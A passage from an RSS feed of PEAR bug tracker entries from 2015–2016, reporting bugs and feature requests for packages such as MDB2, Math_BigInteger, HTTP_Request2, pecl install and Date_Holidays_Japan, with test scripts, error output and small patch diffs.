$this-&gt;_smtp-&gt;pipelining = true;
list(,$args) = $this-&gt;_smtp-&gt;getResponse();
if (preg_match_all(&quot;/Ok: queued as (.*)/&quot;, $args, $queued)) {
    foreach($queued[1] as $key =&gt; $q)
	$this-&gt;callbacks[$key]($q);
    }
}

Example using:
............
$mail_factory-&gt;send($email, $headers, $body, 
function($queued_as) use ($email) {
  syslog(LOG_INFO, &quot;$email queued as $queued_as&quot;);
});</pre>]]></description>
      <dc:date>2016-03-22T11:12:46+00:00</dc:date>
      <dc:creator>degtyaryov &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Mail Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21042">
      <title>MDB2: Feature/Change Request 21042 [Open] MDB2_PORTABILITY_FIX_CASE too binary</title>
      <link>http://pear.php.net/bugs/21042</link>
      <content:encoded><![CDATA[<pre>MDB2 Feature/Change Request
Reported by mheitm
2016-03-21T21:14:55+00:00
PHP: 5.6.19 OS: FreeBSD 10.2 Package Version: 2.4.1

Description:
------------
MDB2_PORTABILITY_FIX_CASE only has two options, to lower case or to upper case. The option to 'leave case alone' should be added, and be made the default so as not to introduce unwanted behaviour. ANY change to data structures should be actively programmer driven and not software prescribed. This option is also important to allow use of the other portability options independently of whether case should be changed or not.</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2 Feature/Change Request
Reported by mheitm
2016-03-21T21:14:55+00:00
PHP: 5.6.19 OS: FreeBSD 10.2 Package Version: 2.4.1

Description:
------------
MDB2_PORTABILITY_FIX_CASE only has two options, to lower case or to upper case. The option to 'leave case alone' should be added, and be made the default so as not to introduce unwanted behaviour. ANY change to data structures should be actively programmer driven and not software prescribed. This option is also important to allow use of the other portability options independently of whether case should be changed or not.</pre>]]></description>
      <dc:date>2016-03-21T21:14:55+00:00</dc:date>
      <dc:creator>mheitm &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>MDB2 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21041">
      <title>System_Daemon: Bug 21041 [Open] service status</title>
      <link>http://pear.php.net/bugs/21041</link>
      <content:encoded><![CDATA[<pre>System_Daemon Bug
Reported by tomkraw
2016-03-16T22:00:35+00:00
PHP: 5.5.14 OS: Red Hat 6.7 Package Version: 1.0.0

Description:
------------
When service is installed with chkconfig add logparser and started the 
command &quot;service logparser status&quot; allways reports status &quot;stopped&quot;. 
But process is active and logparser is working. My php version is 5.3.3 
but I think it has nothing to do whith the problem.

Test script:
---------------
My script is based on the logparser.php example.

Expected result:
----------------
When service/daemon is started then status should be &quot;running&quot;

Actual result:
--------------
Service logparser status reports statss stopped.</pre>]]></content:encoded>
      <description><![CDATA[<pre>System_Daemon Bug
Reported by tomkraw
2016-03-16T22:00:35+00:00
PHP: 5.5.14 OS: Red Hat 6.7 Package Version: 1.0.0

Description:
------------
When service is installed with chkconfig add logparser and started the 
command &quot;service logparser status&quot; allways reports status &quot;stopped&quot;. 
But process is active and logparser is working. My php version is 5.3.3 
but I think it has nothing to do whith the problem.

Test script:
---------------
My script is based on the logparser.php example.

Expected result:
----------------
When service/daemon is started then status should be &quot;running&quot;

Actual result:
--------------
Service logparser status reports statss stopped.</pre>]]></description>
      <dc:date>2016-03-16T22:00:35+00:00</dc:date>
      <dc:creator>tomkrawc &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>System_Daemon Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21039">
      <title>Math_BigInteger: Bug 21039 [Open] Compatibility PHP 5.6: GMP numbers aren't resources anymore</title>
      <link>http://pear.php.net/bugs/21039</link>
      <content:encoded><![CDATA[<pre>Math_BigInteger Bug
Reported by beat
2016-03-10T12:55:38+00:00
PHP: 5.6.19 OS:  Package Version: 1.0.2

Description:
------------
According to the PHP 5.6 release notes 
(https://secure.php.net/manual/en/migration56.incompatible.php), &quot;GMP 
resources are now objects. The functional API implemented in the GMP 
extension has not changed, and code should run 
unmodified unless it checks explicitly for a resource using is_resource() or 
similar.&quot; 

The Math_BigInteger class is explicitly checking for &quot;is_resource&quot; in line 337.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Math_BigInteger Bug
Reported by beat
2016-03-10T12:55:38+00:00
PHP: 5.6.19 OS:  Package Version: 1.0.2

Description:
------------
According to the PHP 5.6 release notes 
(https://secure.php.net/manual/en/migration56.incompatible.php), &quot;GMP 
resources are now objects. The functional API implemented in the GMP 
extension has not changed, and code should run 
unmodified unless it checks explicitly for a resource using is_resource() or 
similar.&quot; 

The Math_BigInteger class is explicitly checking for &quot;is_resource&quot; in line 337.</pre>]]></description>
      <dc:date>2016-03-10T12:55:38+00:00</dc:date>
      <dc:creator>beat &amp;#x64;&amp;#111;&amp;#x74; rohrer &amp;#x61;&amp;#116; zhdk &amp;#x64;&amp;#111;&amp;#x74; ch</dc:creator>
      <dc:subject>Math_BigInteger Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21038">
      <title>HTTP_Request2: Feature/Change Request 21038 [Open] Response-Header &quot;Set-Cookie&quot;</title>
      <link>http://pear.php.net/bugs/21038</link>
      <content:encoded><![CDATA[<pre>HTTP_Request2 Feature/Change Request
Reported by larssh
2016-03-07T23:24:07+00:00
PHP: Irrelevant OS:  Package Version: 2.3.0

Description:
------------
For now the Response header &quot;Set-Cookie&quot; is being removed from the list of headers using &quot;unset&quot; in Response.php on line 250.

That modifies the behavior of getHeader(...) from what (at least) I expected. Therefore it's getting impossible to get at the original &quot;Set-Cookie&quot; header value.

That's why I suggest removing that denoted line.</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTTP_Request2 Feature/Change Request
Reported by larssh
2016-03-07T23:24:07+00:00
PHP: Irrelevant OS:  Package Version: 2.3.0

Description:
------------
For now the Response header &quot;Set-Cookie&quot; is being removed from the list of headers using &quot;unset&quot; in Response.php on line 250.

That modifies the behavior of getHeader(...) from what (at least) I expected. Therefore it's getting impossible to get at the original &quot;Set-Cookie&quot; header value.

That's why I suggest removing that denoted line.</pre>]]></description>
      <dc:date>2016-03-07T23:24:07+00:00</dc:date>
      <dc:creator>mail &amp;#x61;&amp;#116; lars-sh &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>HTTP_Request2 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21036">
      <title>Documentation: Bug 21036 [Open] PEAR CS doesn't cater to PHP 7</title>
      <link>http://pear.php.net/bugs/21036</link>
      <content:encoded><![CDATA[<pre>Documentation Bug
Reported by cmb
2016-03-02T20:20:26+00:00
PHP: Irrelevant OS: * Package Version: 

Description:
------------
The PEAR coding standards require to mention the supported PHP
version[1]:

| One of the following must go in the page-level docblock:
|
| PHP version 4
| PHP version 5
| PHP versions 4 and 5

Obviously, that is out-dated as of the release of PHP 7.0.0.

[1] &lt;https://pear.php.net/manual/en/standards.header.php&gt;</pre>]]></content:encoded>
      <description><![CDATA[<pre>Documentation Bug
Reported by cmb
2016-03-02T20:20:26+00:00
PHP: Irrelevant OS: * Package Version: 

Description:
------------
The PEAR coding standards require to mention the supported PHP
version[1]:

| One of the following must go in the page-level docblock:
|
| PHP version 4
| PHP version 5
| PHP versions 4 and 5

Obviously, that is out-dated as of the release of PHP 7.0.0.

[1] &lt;https://pear.php.net/manual/en/standards.header.php&gt;</pre>]]></description>
      <dc:date>2016-03-02T20:20:26+00:00</dc:date>
      <dc:creator>cmbecker69 &amp;#x61;&amp;#116; gmx &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>Documentation Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21030">
      <title>MDB2: Bug 21030 [Open] warning if base_dir limit is in action</title>
      <link>http://pear.php.net/bugs/21030</link>
      <content:encoded><![CDATA[<pre>MDB2 Bug
Reported by kisst
2016-02-16T19:03:56+00:00
PHP: 5.6.17 OS: Debian GNU/Linux 8 Package Version: 2.5.0b5

Description:
------------
php.ini changes

open_basedir /var/www/:/usr/share/php/:/usr/share/pear/:/var/cache/apache2/vhosts/',
include_path	.:/usr/share/php:/usr/share/pear

when the is_readable function walk trought the include_path on the first . it's error, and just then find the right location.

WARNING [2] is_readable(): open_basedir restriction in effect. File(./MDB2/Driver/Datatype/pgsql.php) is not within the allowed path(s): (/var/www/:/usr/share/php/:/usr/share/pear/:/var/cache/apache2/vhosts/) in file /usr/share/php/MDB2.php (line 933)



Test script:
---------------
include 

Expected result:
----------------
Do not error, if in any folder it's available.

Actual result:
--------------
/usr/share/php$ diff MDB2.php.backup MDB2.php
933c933
&lt;                  if (is_readable($dir . DIRECTORY_SEPARATOR . $file)) {
---
&gt;                  if (@is_readable($dir . DIRECTORY_SEPARATOR . $file)) {</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2 Bug
Reported by kisst
2016-02-16T19:03:56+00:00
PHP: 5.6.17 OS: Debian GNU/Linux 8 Package Version: 2.5.0b5

Description:
------------
php.ini changes

open_basedir /var/www/:/usr/share/php/:/usr/share/pear/:/var/cache/apache2/vhosts/',
include_path	.:/usr/share/php:/usr/share/pear

when the is_readable function walk trought the include_path on the first . it's error, and just then find the right location.

WARNING [2] is_readable(): open_basedir restriction in effect. File(./MDB2/Driver/Datatype/pgsql.php) is not within the allowed path(s): (/var/www/:/usr/share/php/:/usr/share/pear/:/var/cache/apache2/vhosts/) in file /usr/share/php/MDB2.php (line 933)



Test script:
---------------
include 

Expected result:
----------------
Do not error, if in any folder it's available.

Actual result:
--------------
/usr/share/php$ diff MDB2.php.backup MDB2.php
933c933
&lt;                  if (is_readable($dir . DIRECTORY_SEPARATOR . $file)) {
---
&gt;                  if (@is_readable($dir . DIRECTORY_SEPARATOR . $file)) {</pre>]]></description>
      <dc:date>2016-02-16T19:03:56+00:00</dc:date>
      <dc:creator>kisst &amp;#x61;&amp;#116; bgk &amp;#x64;&amp;#111;&amp;#x74; bme &amp;#x64;&amp;#111;&amp;#x74; hu</dc:creator>
      <dc:subject>MDB2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21024">
      <title>PHP_UML: Bug 21024 [Open] XML Schema Definition outdated?</title>
      <link>http://pear.php.net/bugs/21024</link>
      <content:encoded><![CDATA[<pre>PHP_UML Bug
Reported by fruity_coder
2016-02-02T12:06:58+00:00
PHP: 5.6.8 OS: Windows 7 64bit Package Version: 1.6.2

Description:
------------
By executing the following command i get a xml(xmi) file, which can not be validated, because of probably outdated xsd urls in the XML root tag.

By trying to use this xmi in Eclipse or notepad++ with XML Tools plugin

Test script:
---------------
Command:
php.exe -d auto_append_file=&quot;&quot; -d auto_prepend_file=&quot;&quot; -d include_path=&quot;C:\xampp\php\pear&quot; &quot;C:\xampp\php\phpuml&quot; FILEPATH -o &quot;D:\uml&quot;



Expected result:
----------------
XML with correct xmlns urls

Actual result:
--------------
XML root tag:
&lt;?xml version=&quot;1.0&quot; encoding=&quot;iso-8859-1&quot;?&gt;&lt;xmi:XMI xmi:version=&quot;2.1&quot; 
            xmlns:uml=&quot;http://schema.omg.org/spec/UML/2.1.2&quot;
            xmlns:xmi=&quot;http://schema.omg.org/spec/XMI/2.1&quot;
            xmlns:php=&quot;http://schemas/phpdoc/56b076330c7be6.80813417&quot;&gt;</pre>]]></content:encoded>
      <description><![CDATA[<pre>PHP_UML Bug
Reported by fruity_coder
2016-02-02T12:06:58+00:00
PHP: 5.6.8 OS: Windows 7 64bit Package Version: 1.6.2

Description:
------------
By executing the following command i get a xml(xmi) file, which can not be validated, because of probably outdated xsd urls in the XML root tag.

By trying to use this xmi in Eclipse or notepad++ with XML Tools plugin

Test script:
---------------
Command:
php.exe -d auto_append_file=&quot;&quot; -d auto_prepend_file=&quot;&quot; -d include_path=&quot;C:\xampp\php\pear&quot; &quot;C:\xampp\php\phpuml&quot; FILEPATH -o &quot;D:\uml&quot;



Expected result:
----------------
XML with correct xmlns urls

Actual result:
--------------
XML root tag:
&lt;?xml version=&quot;1.0&quot; encoding=&quot;iso-8859-1&quot;?&gt;&lt;xmi:XMI xmi:version=&quot;2.1&quot; 
            xmlns:uml=&quot;http://schema.omg.org/spec/UML/2.1.2&quot;
            xmlns:xmi=&quot;http://schema.omg.org/spec/XMI/2.1&quot;
            xmlns:php=&quot;http://schemas/phpdoc/56b076330c7be6.80813417&quot;&gt;</pre>]]></description>
      <dc:date>2016-02-02T12:17:25+00:00</dc:date>
      <dc:creator>angel &amp;#x64;&amp;#111;&amp;#x74; webme &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PHP_UML Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21017">
      <title>pearweb: Feature/Change Request 21017 [Open] missing IPv6 support for pear.php.net</title>
      <link>http://pear.php.net/bugs/21017</link>
      <content:encoded><![CDATA[<pre>pearweb Feature/Change Request
Reported by thorny
2016-01-08T10:56:48+00:00
PHP: Irrelevant OS:  Package Version: Unknown

Description:
------------
Hello,

i had done some research about the impact of missing IPv6 support at the FreeBSD ports-tree, which is the list of supported software for FreeBSD.

There are more than 100 programs which are not fetchable because pecl.php.net does not support IPv6 (https://wiki.freebsd.org/IPv6PortsTODO). There is also no AAAA DNS entry for them:

$ host pear.php.net
pear.php.net is an alias for euk3.php.net.
euk3.php.net has address 109.203.101.62

Please at IPv6 support to your servers and enable IPv6 only users to use the packages :)</pre>]]></content:encoded>
      <description><![CDATA[<pre>pearweb Feature/Change Request
Reported by thorny
2016-01-08T10:56:48+00:00
PHP: Irrelevant OS:  Package Version: Unknown

Description:
------------
Hello,

i had done some research about the impact of missing IPv6 support at the FreeBSD ports-tree, which is the list of supported software for FreeBSD.

There are more than 100 programs which are not fetchable because pecl.php.net does not support IPv6 (https://wiki.freebsd.org/IPv6PortsTODO). There is also no AAAA DNS entry for them:

$ host pear.php.net
pear.php.net is an alias for euk3.php.net.
euk3.php.net has address 109.203.101.62

Please at IPv6 support to your servers and enable IPv6 only users to use the packages :)</pre>]]></description>
      <dc:date>2016-01-08T10:59:00+00:00</dc:date>
      <dc:creator>ports &amp;#x61;&amp;#116; toco-domains &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>pearweb Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21008">
      <title>PEAR: Feature/Change Request 21008 [Open] pecl install last compatible extension</title>
      <link>http://pear.php.net/bugs/21008</link>
      <content:encoded><![CDATA[<pre>PEAR Feature/Change Request
Reported by mabe
2015-12-21T10:34:30+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
Currently it's not possible without resource to install the last compatible extension using pecl install as it always selects the last existing version.

With PHP 7 more and more extensions are going to drop support for older PHP versions in new major releases which breaks nearly all pecl install commands on PHP &lt; 7.

Test script:
---------------
&lt;PHP 5.6&gt;
pecl install apcu

Expected result:
----------------
Last stable version 4.0.8 should be installed

Actual result:
--------------
WARNING: channel &quot;pecl.php.net&quot; has updated its protocols, use &quot;pecl channel-update pecl.php.net&quot; to update

pecl/apcu requires PHP (version &gt;= 7.0.0-dev), installed version is 5.6.5

No valid packages found

install failed</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Feature/Change Request
Reported by mabe
2015-12-21T10:34:30+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
Currently it's not possible without resource to install the last compatible extension using pecl install as it always selects the last existing version.

With PHP 7 more and more extensions are going to drop support for older PHP versions in new major releases which breaks nearly all pecl install commands on PHP &lt; 7.

Test script:
---------------
&lt;PHP 5.6&gt;
pecl install apcu

Expected result:
----------------
Last stable version 4.0.8 should be installed

Actual result:
--------------
WARNING: channel &quot;pecl.php.net&quot; has updated its protocols, use &quot;pecl channel-update pecl.php.net&quot; to update

pecl/apcu requires PHP (version &gt;= 7.0.0-dev), installed version is 5.6.5

No valid packages found

install failed</pre>]]></description>
      <dc:date>2015-12-21T10:39:36+00:00</dc:date>
      <dc:creator>marc &amp;#x61;&amp;#116; mabe &amp;#x64;&amp;#111;&amp;#x74; berlin</dc:creator>
      <dc:subject>PEAR Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21007">
      <title>PEAR: Bug 21007 [Open] pecl install results in wrong order of extension= ini directives</title>
      <link>http://pear.php.net/bugs/21007</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by mabe
2015-12-21T10:26:27+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
On installing PHP extensions using &quot;pecl install &lt;ext&gt;&quot; the extension will be automatically enabled in php.ini. This is fine but it results in a reverse order of &quot;extension=&lt;ext&gt;.so&quot; directive.

As &quot;apcu_bc&quot; (compiled as apc.so) depends on apcu which needs to be loaded first. In an own environment this is simply to fix but on others (like travis) this is very ugly-

-&gt; https://travis-ci.org/marc-mabe/zend-cache/jobs/98086337

Test script:
---------------
pecl install apcu
pecl install apcu_bc

Expected result:
----------------
&lt;php.ini&gt;
extension=&quot;apcu.so&quot;
extension=&quot;apc.so&quot;

Actual result:
--------------
&lt;php.ini&gt;
extension=&quot;apc.so&quot;
extension=&quot;apcu.so&quot;

&lt;php&gt;
PHP Warning:  PHP Startup: Unable to load dynamic library '/home/travis/.phpenv/versions/7.0.0/lib/php/extensions/no-debug-zts-20151012/apc.so' - /home/travis/.phpenv/versions/7.0.0/lib/php/extensions/no-debug-zts-20151012/apc.so: undefined symbol: zif_apcu_store in Unknown on line 0</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by mabe
2015-12-21T10:26:27+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
On installing PHP extensions using &quot;pecl install &lt;ext&gt;&quot; the extension will be automatically enabled in php.ini. This is fine but it results in a reverse order of &quot;extension=&lt;ext&gt;.so&quot; directive.

As &quot;apcu_bc&quot; (compiled as apc.so) depends on apcu which needs to be loaded first. In an own environment this is simply to fix but on others (like travis) this is very ugly-

-&gt; https://travis-ci.org/marc-mabe/zend-cache/jobs/98086337

Test script:
---------------
pecl install apcu
pecl install apcu_bc

Expected result:
----------------
&lt;php.ini&gt;
extension=&quot;apcu.so&quot;
extension=&quot;apc.so&quot;

Actual result:
--------------
&lt;php.ini&gt;
extension=&quot;apc.so&quot;
extension=&quot;apcu.so&quot;

&lt;php&gt;
PHP Warning:  PHP Startup: Unable to load dynamic library '/home/travis/.phpenv/versions/7.0.0/lib/php/extensions/no-debug-zts-20151012/apc.so' - /home/travis/.phpenv/versions/7.0.0/lib/php/extensions/no-debug-zts-20151012/apc.so: undefined symbol: zif_apcu_store in Unknown on line 0</pre>]]></description>
      <dc:date>2015-12-21T10:26:27+00:00</dc:date>
      <dc:creator>marc &amp;#x61;&amp;#116; mabe &amp;#x64;&amp;#111;&amp;#x74; berlin</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21004">
      <title>Date_Holidays_Japan: Bug 21004 [Open] PEAR_Error::getDate() when trying to get 2016 Japan holidays</title>
      <link>http://pear.php.net/bugs/21004</link>
      <content:encoded><![CDATA[<pre>Date_Holidays_Japan Bug
Reported by zenich
2015-12-17T03:16:49+00:00
PHP: 5.6.15 OS: Linux (CentOS release 6.7) Package Version: 0.1.3

Description:
------------
The code below results with
&quot; PHP Fatal error:  Call to undefined method PEAR_Error::getDate() in 
/mnt/hgfs/wrk/2016.php on line 12 &quot; error, while it goes well when I specify 
$dh = &amp;Date_Holidays::factory('Japan', 2015, 'ja_JP');


Test script:
---------------
&lt;?php
require_once 'Date/Holidays.php';

$filename = &quot;data/Date_Holidays_Japan/lang/Japan/ja_JP.xml&quot;;
$dh = &amp;Date_Holidays::factory('Japan', 2016, 'ja_JP');
$dh-&gt;addTranslationFile($filename, 'ja_JP');
 
$holidays = array();
foreach ($dh-&gt;getHolidays() as $h) {
  $holidays[$h-&gt;getDate()-&gt;format('%Y-%m-%d')] = $h-&gt;getTitle();
}
ksort($holidays);
 
print_r($holidays);
?&gt;

Expected result:
----------------
Array
(
    [2016-01-01] =&gt; ??
    [2016-01-11] =&gt; ????
    [2016-02-11] =&gt; ??????
    [2016-03-20] =&gt; ????
    [2016-03-21] =&gt; ????
    [2016-04-29] =&gt; ????
    [2016-05-03] =&gt; ?????
    [2016-05-04] =&gt; ?????
    [2016-05-05] =&gt; ?????
    [2016-07-18] =&gt; ???
    [2016-08-11] =&gt; ???    
    [2016-09-19] =&gt; ????
    [2016-09-22] =&gt; ????
    [2016-10-10] =&gt; ????
    [2016-11-03] =&gt; ????
    [2016-11-23] =&gt; ??????
    [2016-12-23] =&gt; ?????
)

Actual result:
--------------
PHP Stack trace:
PHP   1. {main}() /mnt/hgfs/wrk/2016.php:0
PHP   2. Date_Holidays::factory() /mnt/hgfs/wrk/2016.php:7
PHP   3. Date_Holidays_Driver-&gt;setYear() /usr/share/pear/Date/Holidays.php:149
PHP   4. Date_Holidays_Driver_Japan-&gt;_buildHolidays() /usr/share/pear/Date/Holidays/Driver.php:252
PHP   5. Date_Holidays_Driver_Japan-&gt;_buildSubstituteHolidays() /usr/share/pear/Date/Holidays/Driver/Japan.php:168
PHP   6. Date_Holidays_Driver-&gt;_addHoliday() /usr/share/pear/Date/Holidays/Driver/Japan.php:585
PHP   7. mktime() /usr/share/pear/Date/Holidays/Driver.php:901
PHP Fatal error:  Call to undefined method PEAR_Error::getDate() in /mnt/hgfs/wrk/2016.php on line 12</pre>]]></content:encoded>
      <description><![CDATA[<pre>Date_Holidays_Japan Bug
Reported by zenich
2015-12-17T03:16:49+00:00
PHP: 5.6.15 OS: Linux (CentOS release 6.7) Package Version: 0.1.3

Description:
------------
The code below results with
&quot; PHP Fatal error:  Call to undefined method PEAR_Error::getDate() in 
/mnt/hgfs/wrk/2016.php on line 12 &quot; error, while it goes well when I specify 
$dh = &amp;Date_Holidays::factory('Japan', 2015, 'ja_JP');


Test script:
---------------
&lt;?php
require_once 'Date/Holidays.php';

$filename = &quot;data/Date_Holidays_Japan/lang/Japan/ja_JP.xml&quot;;
$dh = &amp;Date_Holidays::factory('Japan', 2016, 'ja_JP');
$dh-&gt;addTranslationFile($filename, 'ja_JP');
 
$holidays = array();
foreach ($dh-&gt;getHolidays() as $h) {
  $holidays[$h-&gt;getDate()-&gt;format('%Y-%m-%d')] = $h-&gt;getTitle();
}
ksort($holidays);
 
print_r($holidays);
?&gt;

Expected result:
----------------
Array
(
    [2016-01-01] =&gt; ??
    [2016-01-11] =&gt; ????
    [2016-02-11] =&gt; ??????
    [2016-03-20] =&gt; ????
    [2016-03-21] =&gt; ????
    [2016-04-29] =&gt; ????
    [2016-05-03] =&gt; ?????
    [2016-05-04] =&gt; ?????
    [2016-05-05] =&gt; ?????
    [2016-07-18] =&gt; ???
    [2016-08-11] =&gt; ???    
    [2016-09-19] =&gt; ????
    [2016-09-22] =&gt; ????
    [2016-10-10] =&gt; ????
    [2016-11-03] =&gt; ????
    [2016-11-23] =&gt; ??????
    [2016-12-23] =&gt; ?????
)

Actual result:
--------------
PHP Stack trace:
PHP   1. {main}() /mnt/hgfs/wrk/2016.php:0
PHP   2. Date_Holidays::factory() /mnt/hgfs/wrk/2016.php:7
PHP   3. Date_Holidays_Driver-&gt;setYear() /usr/share/pear/Date/Holidays.php:149
PHP   4. Date_Holidays_Driver_Japan-&gt;_buildHolidays() /usr/share/pear/Date/Holidays/Driver.php:252
PHP   5. Date_Holidays_Driver_Japan-&gt;_buildSubstituteHolidays() /usr/share/pear/Date/Holidays/Driver/Japan.php:168
PHP   6. Date_Holidays_Driver-&gt;_addHoliday() /usr/share/pear/Date/Holidays/Driver/Japan.php:585
PHP   7. mktime() /usr/share/pear/Date/Holidays/Driver.php:901
PHP Fatal error:  Call to undefined method PEAR_Error::getDate() in /mnt/hgfs/wrk/2016.php on line 12</pre>]]></description>
      <dc:date>2015-12-17T03:16:49+00:00</dc:date>
      <dc:creator>zen &amp;#x61;&amp;#116; zenich &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Date_Holidays_Japan Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21002">
      <title>PEAR_PackageFileManager_Plugins: Bug 21002 [Assigned] SVN plugin does not handle SVN &gt;= 1.7</title>
      <link>http://pear.php.net/bugs/21002</link>
      <content:encoded><![CDATA[<pre>PEAR_PackageFileManager_Plugins Bug
Reported by danielc
2015-12-16T16:24:13+00:00
PHP: Irrelevant OS:  Package Version: 1.0.4

Description:
------------
SVN 1.7 now only puts a .svn directory in the root of the working copy.  Need to traverse up the tree until it's found, then parse the metadata correctly.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR_PackageFileManager_Plugins Bug
Reported by danielc
2015-12-16T16:24:13+00:00
PHP: Irrelevant OS:  Package Version: 1.0.4

Description:
------------
SVN 1.7 now only puts a .svn directory in the root of the working copy.  Need to traverse up the tree until it's found, then parse the metadata correctly.</pre>]]></description>
      <dc:date>2015-12-16T16:24:28+00:00</dc:date>
      <dc:creator>danielc &amp;#x61;&amp;#116; analysisandsolutions &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR_PackageFileManager_Plugins Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20997">
      <title>Mail_mimeDecode: Bug 20997 [Verified] Improperly Parsing from Header</title>
      <link>http://pear.php.net/bugs/20997</link>
      <content:encoded><![CDATA[<pre>Mail_mimeDecode Bug
Reported by postletariat
2015-12-13T17:56:35+00:00
PHP: 5.5.30 OS: Linux Package Version: 1.5.5

Description:
------------
It seems as though when I attempt to decode mail from GMail, the from 
header is not becoming properly parsed.

Test script:
---------------
$decoder = new Mail_mimeDecode(stream_get_contents(STDIN));
$structure = $decoder-&gt;decode($params);
echo json_encode($structure);

Expected result:
----------------
I would expect something such as the following (excerpt, presented in 
JSON):

{&quot;headers&quot;:{&quot;from&quot;: &quot;emailaddress@gmail.com sun dec 13 10:46:49 
2015&quot;}}

Actual result:
--------------
Instead, I get something like the following (excerpt, presented in JSON):

{&quot;headers&quot;:{&quot;from emailaddress@gmail.com sun dec 13 10&quot;:&quot;46:49 
2015&quot;}}</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail_mimeDecode Bug
Reported by postletariat
2015-12-13T17:56:35+00:00
PHP: 5.5.30 OS: Linux Package Version: 1.5.5

Description:
------------
It seems as though when I attempt to decode mail from GMail, the from 
header is not becoming properly parsed.

Test script:
---------------
$decoder = new Mail_mimeDecode(stream_get_contents(STDIN));
$structure = $decoder-&gt;decode($params);
echo json_encode($structure);

Expected result:
----------------
I would expect something such as the following (excerpt, presented in 
JSON):

{&quot;headers&quot;:{&quot;from&quot;: &quot;emailaddress@gmail.com sun dec 13 10:46:49 
2015&quot;}}

Actual result:
--------------
Instead, I get something like the following (excerpt, presented in JSON):

{&quot;headers&quot;:{&quot;from emailaddress@gmail.com sun dec 13 10&quot;:&quot;46:49 
2015&quot;}}</pre>]]></description>
      <dc:date>2015-12-21T07:11:14+00:00</dc:date>
      <dc:creator>laudedfavor &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Mail_mimeDecode Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20996">
      <title>PEAR: Bug 20996 [Open] PEAR 1.10.1 breaks packagingroot</title>
      <link>http://pear.php.net/bugs/20996</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by cweiske
2015-12-12T13:23:56+00:00
PHP: Irrelevant OS:  Package Version: 1.10.1

Description:
------------
(report on behalf of Ond?ej SurÃ½)

Current PEAR as packaged with PHP 5.6.16 breaks packagingroot, because
of later call to -&gt;setConfig that resets metadata_dir if called without
second option set to false.

Quick and dirty fix:

diff --git a/PEAR/Command/Install.php b/PEAR/Command/Install.php
index 9d572ed..3b1fec9 100644
--- a/PEAR/Command/Install.php
+++ b/PEAR/Command/Install.php
@@ -848,7 +848,7 @@ Run post-installation scripts in package &lt;package&gt;,
if any exist.
             $pkg = &amp;$instreg-&gt;getPackage($param-&gt;getPackage(),
             $param-&gt;getChannel());
             // $pkg may be NULL if install is a 'fake' install via
             --packagingroot
             if (is_object($pkg)) {
-                $pkg-&gt;setConfig($this-&gt;config);
+                $pkg-&gt;setConfig($this-&gt;config, false);
                 if ($list = $pkg-&gt;listPostinstallScripts()) {
                     $pn =
                     $reg-&gt;parsedPackageNameToString(array('channel' =&gt;
                        $param-&gt;getChannel(), 'package' =&gt;
                        $param-&gt;getPackage()), true);

But I have no idea whether this is a correct fix. Could you please look
at this ASAP as it breaks all packaging efforts of third party modules
(DEB and RPM).</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by cweiske
2015-12-12T13:23:56+00:00
PHP: Irrelevant OS:  Package Version: 1.10.1

Description:
------------
(report on behalf of Ond?ej SurÃ½)

Current PEAR as packaged with PHP 5.6.16 breaks packagingroot, because
of later call to -&gt;setConfig that resets metadata_dir if called without
second option set to false.

Quick and dirty fix:

diff --git a/PEAR/Command/Install.php b/PEAR/Command/Install.php
index 9d572ed..3b1fec9 100644
--- a/PEAR/Command/Install.php
+++ b/PEAR/Command/Install.php
@@ -848,7 +848,7 @@ Run post-installation scripts in package &lt;package&gt;,
if any exist.
             $pkg = &amp;$instreg-&gt;getPackage($param-&gt;getPackage(),
             $param-&gt;getChannel());
             // $pkg may be NULL if install is a 'fake' install via
             --packagingroot
             if (is_object($pkg)) {
